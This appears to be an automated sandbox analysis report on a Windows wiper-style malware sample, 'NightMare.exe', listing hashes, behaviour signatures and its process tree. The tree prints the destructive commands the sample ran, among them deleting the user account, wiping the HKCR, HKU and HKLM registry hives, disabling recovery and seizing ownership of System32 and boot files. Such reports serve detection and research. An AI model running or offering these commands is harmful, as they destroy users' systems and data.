Overview

overview

10

Static

static

3

NightMare.exe

windows7-x64

10

NightMare.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    146s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    15/07/2024, 14:25

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target

    NightMare.exe

  • Size

    42KB

  • MD5

    4c5dfe827dd3465bb97016996936fe38

  • SHA1

    010b868fe1a9e637912226a1eda1b73d901347dd

  • SHA256

    366373109445178df10e219c3d58ea40b435c3cc20f80be7398d199aee01f62b

  • SHA512

    e0692e425b7c702d297c88f0495c3bdae53eb566c3128f334d0e87e90a7047c433633f918ab6163a025a488111bcb2f199df0852b338fdc00e524897a2a7d82e

  • SSDEEP

    768:73oACIqXSoiSnWsHorfhH7HjVq9HTtYcFA/Vc6K:7TCxNn/orfhbDVqRD8Vcl

Score
10/10
discoveryevasionexploitpersistencetrojan

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • Disables RegEdit via registry modification 1 IoCs
    evasion
  • Disables Task Manager via registry modification
    evasion
  • Possible privilege escalation attempt 17 IoCs
    exploit
  • Modifies file permissions 1 TTPs 17 IoCs
    discovery
  • Modifies system executable filetype association 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Drops file in Windows directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 3 IoCs
    evasion
  • Modifies Control Panel 14 IoCs
    evasion
  • Modifies File Icons 3 IoCs
    ransomware
  • Modifies registry class 37 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\NightMare.exe
    "C:\Users\Admin\AppData\Local\Temp\NightMare.exe"
    1⤵
    • UAC bypass
    • Disables RegEdit via registry modification
    • Modifies system executable filetype association
    • Checks whether UAC is enabled
    • Drops file in Windows directory
    • Modifies Control Panel
    • Modifies File Icons
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2272
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net user %username% /delete && exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2780
      • C:\Windows\SysWOW64\net.exe
        net user Admin /delete
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1700
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user Admin /delete
          4⤵
            PID:2608
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /k reg delete HKCR && exit
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2804
        • C:\Windows\SysWOW64\reg.exe
          reg delete HKCR
          3⤵
            PID:2544
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k reg delete HKU && exit
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2712
          • C:\Windows\SysWOW64\reg.exe
            reg delete HKU
            3⤵
              PID:2628
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /k reg delete HKLM && exit
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2688
            • C:\Windows\SysWOW64\reg.exe
              reg delete HKLM
              3⤵
              • Modifies registry key
              PID:2616
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /k takeown /F C:\Windows\Boot\DVD\EFI && pause
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2808
            • C:\Windows\SysWOW64\takeown.exe
              takeown /F C:\Windows\Boot\DVD\EFI
              3⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              • Suspicious use of AdjustPrivilegeToken
              PID:3000
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /k reagentc.exe /disable && pause
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2716
            • C:\Windows\SysWOW64\ReAgentc.exe
              reagentc.exe /disable
              3⤵
                PID:1596
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /k color 47 && takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && Exit
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2656
              • C:\Windows\SysWOW64\takeown.exe
                takeown /f C:\Windows\System32
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                • Suspicious use of AdjustPrivilegeToken
                PID:2600
              • C:\Windows\SysWOW64\icacls.exe
                icacls C:\Windows\System32 /grant Admin:F
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:3004
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /k takeown /F C:\Windows\Boot\DVD\EFI && pause
              2⤵
                PID:2656
                • C:\Windows\SysWOW64\takeown.exe
                  takeown /F C:\Windows\Boot\DVD\EFI
                  3⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3696
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /k takeown /F C:\Windows\system32\taskmgr.exe && pause
                2⤵
                  PID:2168
                  • C:\Windows\SysWOW64\takeown.exe
                    takeown /F C:\Windows\system32\taskmgr.exe
                    3⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2988
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /k takeown /F C:\Windows\system32\LogonUI.exe && pause
                  2⤵
                    PID:1096
                    • C:\Windows\SysWOW64\takeown.exe
                      takeown /F C:\Windows\system32\LogonUI.exe
                      3⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3656
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /k takeown /F C:\Windows\Boot\DVD\EFI\BCD && pause
                    2⤵
                      PID:2876
                      • C:\Windows\SysWOW64\takeown.exe
                        takeown /F C:\Windows\Boot\DVD\EFI\BCD
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        • Suspicious use of AdjustPrivilegeToken
                        PID:884
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /k takeown /F C:\Windows\Boot\DVD\EFI\boot.sdi && pause
                      2⤵
                        PID:3592
                        • C:\Windows\SysWOW64\takeown.exe
                          takeown /F C:\Windows\Boot\DVD\EFI\boot.sdi
                          3⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3808
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /k takeown /F C:\Windows\system32\drivers && pause
                        2⤵
                          PID:1700
                          • C:\Windows\SysWOW64\takeown.exe
                            takeown /F C:\Windows\system32\drivers
                            3⤵
                            • Possible privilege escalation attempt
                            • Modifies file permissions
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2836
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /k takeown /F C:\Windows\servicing\TrustedInstaller.exe && pause
                          2⤵
                            PID:3052
                            • C:\Windows\SysWOW64\takeown.exe
                              takeown /F C:\Windows\servicing\TrustedInstaller.exe
                              3⤵
                              • Possible privilege escalation attempt
                              • Modifies file permissions
                              • Suspicious use of AdjustPrivilegeToken
                              PID:816
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" /k takeown /F C:\Windows\System32\WUDFHost.exe && pause
                            2⤵
                              PID:2896
                              • C:\Windows\SysWOW64\takeown.exe
                                takeown /F C:\Windows\System32\WUDFHost.exe
                                3⤵
                                • Possible privilege escalation attempt
                                • Modifies file permissions
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3340
                            • C:\Windows\SysWOW64\taskkill.exe
                              "C:\Windows\System32\taskkill.exe" /IM fontdrvhost.exe /F
                              2⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1992
                            • C:\Windows\SysWOW64\taskkill.exe
                              "C:\Windows\System32\taskkill.exe" /IM dwm.exe.exe /F
                              2⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2396
                            • C:\Windows\SysWOW64\taskkill.exe
                              "C:\Windows\System32\taskkill.exe" /IM TrustedInstaller.exe.exe /F
                              2⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2508
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /k takeown /F C:\Windows\Boot\DVD\EFI && pause
                              2⤵
                                PID:1612
                                • C:\Windows\SysWOW64\takeown.exe
                                  takeown /F C:\Windows\Boot\DVD\EFI
                                  3⤵
                                  • Possible privilege escalation attempt
                                  • Modifies file permissions
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3664
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /k takeown /F C:\Windows\Boot\DVD\EFI && pause
                                2⤵
                                  PID:1692
                                  • C:\Windows\SysWOW64\takeown.exe
                                    takeown /F C:\Windows\Boot\DVD\EFI
                                    3⤵
                                    • Possible privilege escalation attempt
                                    • Modifies file permissions
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2336
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k takeown /F C:\Windows\Boot\DVD\EFI && pause
                                  2⤵
                                    PID:3292
                                    • C:\Windows\SysWOW64\takeown.exe
                                      takeown /F C:\Windows\Boot\DVD\EFI
                                      3⤵
                                      • Possible privilege escalation attempt
                                      • Modifies file permissions
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2672
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /k takeown /F C:\Windows\Boot\DVD\EFI && pause
                                    2⤵
                                      PID:1960
                                      • C:\Windows\SysWOW64\takeown.exe
                                        takeown /F C:\Windows\Boot\DVD\EFI
                                        3⤵
                                        • Possible privilege escalation attempt
                                        • Modifies file permissions
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2864
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /k takeown /F C:\Windows\Boot\DVD\EFI && pause
                                      2⤵
                                        PID:2976
                                        • C:\Windows\SysWOW64\takeown.exe
                                          takeown /F C:\Windows\Boot\DVD\EFI
                                          3⤵
                                          • Possible privilege escalation attempt
                                          • Modifies file permissions
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3612
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /k takeown /F C:\Windows\Boot\DVD\EFI && pause
                                        2⤵
                                          PID:3372
                                          • C:\Windows\SysWOW64\takeown.exe
                                            takeown /F C:\Windows\Boot\DVD\EFI
                                            3⤵
                                            • Possible privilege escalation attempt
                                            • Modifies file permissions
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:1360

                                      Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn\NO_ESCAPE_NO_ESCAPE_NO_ESCAPE_NO_ESCAPE_NO_ESCAPE_NO_ESCAPE_NO_ESCAPE_NO_ESCAPE_NO_ESCAPE_NO_ESCAPE_NO_ESCAPE.txt
                                              Filesize

                                              662B

                                              MD5

                                              21ad42bd4156f914d3a265823a1c269c

                                              SHA1

                                              4129bc994a0947b38e3bac2aeabc8e2fbdbd503f

                                              SHA256

                                              680671bac3f22a5f19ffbd2c82eec069a32844cf93d419aa59319cd0cbc98ac2

                                              SHA512

                                              7ec8c3801798b4fd547578d31badd96edeaacf0a91dca807c04e40ad65d97592043cb8e747947f74b9850f8e99dcd1c8f1c311cb0f8b79be301be36ca884cc5a

                                              Download Submit

                                            • memory/2272-0-0x00000000749FE000-0x00000000749FF000-memory.dmp

                                              Filesize

                                              4KB

                                              Download

                                            • memory/2272-1-0x0000000000CE0000-0x0000000000CF0000-memory.dmp

                                              Filesize

                                              64KB

                                              Download

                                            • memory/2272-2-0x00000000749F0000-0x00000000750DE000-memory.dmp

                                              Filesize

                                              6.9MB

                                              Download

                                            • memory/2272-10783-0x00000000749FE000-0x00000000749FF000-memory.dmp

                                              Filesize

                                              4KB

                                              Download

                                            • memory/2272-15284-0x00000000749F0000-0x00000000750DE000-memory.dmp

                                              Filesize

                                              6.9MB

                                              Download